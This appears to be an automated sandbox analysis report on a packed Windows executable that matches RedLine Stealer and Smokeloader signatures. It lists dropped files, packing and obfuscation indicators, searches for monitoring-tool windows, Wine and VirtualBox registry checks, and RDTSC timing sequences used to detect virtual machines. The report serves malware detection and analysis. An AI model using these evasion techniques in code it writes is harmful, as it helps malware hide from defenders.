Source: 00000000.00000002.2403918298.0000000000EEC000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_04D1FD00		0_3_04D1FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_04D1DF87		0_3_04D1DF87
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_04D29706		0_3_04D29706
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_04D13120		0_3_04D13120
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_04D122C0		0_3_04D122C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_04D1E2C9		0_3_04D1E2C9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_04D24AEE		0_3_04D24AEE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_04D1AA90		0_3_04D1AA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_04D25219		0_3_04D25219
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_04D14350		0_3_04D14350
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00403D20		0_2_00403D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402EC0		0_2_00402EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00404F50		0_2_00404F50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00410900		0_2_00410900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0041A306		0_2_0041A306
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040EB87		0_2_0040EB87
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00415E19		0_2_00415E19
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040EEC9		0_2_0040EEC9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004156EE		0_2_004156EE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040B690		0_2_0040B690
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_1000E184		0_2_1000E184
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_100102A0		0_2_100102A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AAEE5A		0_2_00AAEE5A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A20315		0_2_00A20315
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0099DA9C		0_2_0099DA9C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0099A491		0_2_0099A491
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009954B8		0_2_009954B8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00991EBE		0_2_00991EBE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009390A7		0_2_009390A7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008258DC		0_2_008258DC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009A10F3		0_2_009A10F3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0099C618		0_2_0099C618
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008B782B		0_2_008B782B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00998A27		0_2_00998A27
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00944675		0_2_00944675
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0084C79E		0_2_0084C79E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0091C7F6		0_2_0091C7F6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0086FBEA		0_2_0086FBEA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0085252E		0_2_0085252E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00939B50		0_2_00939B50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0099397E		0_2_0099397E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0094BB62		0_2_0094BB62
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B551B7		0_2_04B551B7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B5EDEE		0_2_04B5EDEE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B53F87		0_2_04B53F87
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B5B8F7		0_2_04B5B8F7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B551B7		0_2_04B551B7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B5F130		0_2_04B5F130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B65955		0_2_04B65955
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B60B67		0_2_04B60B67

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dll[1] F1B3E0F2750A9103E46A6A4A34F1CF9D17779725F98042CC2475EC66484801CF

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 04B5A9C7 appears 34 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 0040A760 appears 35 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 04D19B60 appears 34 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 10003160 appears 32 times

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7568 -s 576

Source: file.exe

Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: file.exe, 00000000.00000003.2175678349.0000000005831000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBunifu_UI_v1.5.3.dll4 vs file.exe
Source: file.exe, 00000000.00000003.2175271863.00000000062A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameY-Cleaner.exe4 vs file.exe

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000000.00000002.2405026187.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000002.2403918298.0000000000EEC000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12

Source: Y-Cleaner.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: soft[1].0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: file.exe

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.evad.winEXE@2/15@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00402A20 VirtualProtect,GetLastError,FormatMessageA,LocalAlloc,OutputDebugStringA,LocalFree,LocalFree,LocalFree,

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00EED1DE CreateToolhelp32Snapshot,Module32First,

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00401940 HttpAddRequestHeadersA,InternetSetFilePointer,InternetReadFile,HttpQueryInfoA,CoCreateInstance,

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\add[1].htm

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7568

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\eJeEe574sR26w1rs

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Command line argument: emp		0_2_00408770
Source: C:\Users\user\Desktop\file.exe	Command line argument: mixtwo		0_2_00408770

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

Virustotal: Detection: 50%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7568 -s 576

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msimg32.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcr100.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: linkinfo.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntshrui.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cscapi.dll			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Cleaner.lnk.0.dr

LNK file: ..\AppData\Local\Temp\eJeEe574sR26w1rs\Y-Cleaner.exe

Source: file.exe

Static file information: File size 1990144 > 1048576

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: file.exe

Static PE information: Raw size of whvqijov is bigger than: 0x100000 < 0x1b3a00

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.400000.0.unpack :EW;.rsrc:W;.idata :W; :EW;whvqijov:EW;ikwniflt:EW;.taggant:EW; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;

Source: Y-Cleaner.exe.0.dr

Static PE information: 0xA0CED55F [Tue Jun 29 19:19:59 2055 UTC]

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: dll[1].0.dr	Static PE information: real checksum: 0x0 should be: 0x400e1
Source: Bunifu_UI_v1.5.3.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0x400e1
Source: soft[1].0.dr	Static PE information: real checksum: 0x0 should be: 0x170243
Source: Y-Cleaner.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x170243
Source: file.exe	Static PE information: real checksum: 0x1f17a6 should be: 0x1ed21e

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: whvqijov
Source: file.exe	Static PE information: section name: ikwniflt
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_04D195F7 push ecx; ret		0_3_04D1960A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_04D3037D push esi; ret		0_3_04D30386
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040A1F7 push ecx; ret		0_2_0040A20A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00421B7D push esi; ret		0_2_00421B86
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_1000E891 push ecx; ret		0_2_1000E8A4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009BD4DA push ebp; mov dword ptr [esp], ebx		0_2_009BD513
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A710F0 push 00E9BCD2h; mov dword ptr [esp], edi		0_2_00A7115D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A1FCC0 push ecx; mov dword ptr [esp], 5FEE3031h		0_2_00A1FCE5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A1FCC0 push 753D2A01h; mov dword ptr [esp], edx		0_2_00A1FD0C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A08CC2 push eax; mov dword ptr [esp], ecx		0_2_00A08CC6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A3ECD9 push 46A0A31Ah; mov dword ptr [esp], edx		0_2_00A3ED2F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009C9017 push 612015EEh; mov dword ptr [esp], esp		0_2_009C908E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A11835 push eax; mov dword ptr [esp], ebp		0_2_00A11842
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A11835 push edx; mov dword ptr [esp], 5C6F12ACh		0_2_00A1185A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A11835 push 4D6D5E35h; mov dword ptr [esp], edx		0_2_00A118BA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A11835 push 0A243F34h; mov dword ptr [esp], ecx		0_2_00A118DD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009FA837 push ebp; mov dword ptr [esp], ecx		0_2_009FA87D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A69811 push esi; mov dword ptr [esp], edx		0_2_00A6984B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A69811 push 6DAA56D2h; mov dword ptr [esp], edi		0_2_00A69893
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A69811 push esi; mov dword ptr [esp], 2D5C0F00h		0_2_00A698AA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A3781C push 2FCDD974h; mov dword ptr [esp], edi		0_2_00A37824
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A3781C push ecx; mov dword ptr [esp], esp		0_2_00A37844
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A2C874 push 558CEE53h; mov dword ptr [esp], edx		0_2_00A2C8AA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A2C874 push edi; mov dword ptr [esp], esp		0_2_00A2C8B8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A2C874 push eax; mov dword ptr [esp], edi		0_2_00A2C937
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A70C7F push esi; mov dword ptr [esp], ecx		0_2_00A70CA8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A70C7F push esi; mov dword ptr [esp], edx		0_2_00A70D0A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A33442 push ecx; mov dword ptr [esp], ebx		0_2_00A334B3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A50451 push esi; mov dword ptr [esp], 62A28788h		0_2_00A5049E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A50451 push 018739BAh; mov dword ptr [esp], edx		0_2_00A50526
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A50451 push ecx; mov dword ptr [esp], esi		0_2_00A5054B

Source: file.exe	Static PE information: section name: whvqijov entropy: 7.941395599436267
Source: Y-Cleaner.exe.0.dr	Static PE information: section name: .text entropy: 7.918511524700298
Source: soft[1].0.dr	Static PE information: section name: .text entropy: 7.918511524700298

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\soft[1]			Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dll[1]			Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\eJeEe574sR26w1rs\Y-Cleaner.exe			Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\eJeEe574sR26w1rs\Bunifu_UI_v1.5.3.dll			Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dll[1]			Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\soft[1]			Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass			Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A60FA second address: 9A60FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 991A1C second address: 991A20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A5143 second address: 9A5166 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 jmp 00007FFAA4B0AF20h 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 jnl 00007FFAA4B0AF16h 0x00000016 push esi 0x00000017 pop esi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A5166 second address: 9A516A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A529E second address: 9A52A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FFAA4B0AF16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A52A8 second address: 9A52B6 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FFAA4EF80C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A53E9 second address: 9A53F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jp 00007FFAA4B0AF16h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A53F9 second address: 9A53FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A5534 second address: 9A554A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFAA4B0AF22h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A554A second address: 9A5565 instructions: 0x00000000 rdtsc 0x00000002 je 00007FFAA4EF80C6h 0x00000008 jmp 00007FFAA4EF80D1h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A5565 second address: 9A556A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A59B1 second address: 9A59D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jc 00007FFAA4EF80C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FFAA4EF80D1h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A59D0 second address: 9A59D6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
